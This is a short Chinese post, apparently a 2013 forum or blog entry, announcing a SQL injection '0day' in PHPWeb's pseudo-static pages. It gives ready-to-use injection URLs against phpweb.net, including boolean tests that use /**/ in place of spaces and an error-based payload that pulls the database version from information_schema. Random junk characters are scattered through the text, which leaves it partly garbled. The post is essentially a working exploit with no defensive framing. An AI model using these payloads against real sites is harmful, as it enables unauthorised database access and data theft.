phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
. y! o9 v: S( V: E2 _
* Q. v4 C0 F6 B2 A/ L$ Q+ E# D主站：http://phpweb.net/
加’检测：
9 e& q3 E* f' c2 D6 r
http://www.phpweb.net/down/html/?772′.html

出错
存在注入。
, |: w+ R5 U8 X( ]1 f8 ^不能用空格，只能用/*罗
/ i0 ]+ c8 f, U  W- g1 T1 ~3 Lhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
9 C9 B- o4 P1 w. r7 j爆数据库版本：
. Z8 f' C5 {! i$ \0 }8 {
?
; `0 s8 k0 |: @1 M' [* b( F1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
' ]' u# H: O/ R- V4 o" {8 n更新日期: 2013-01-03 13:39:50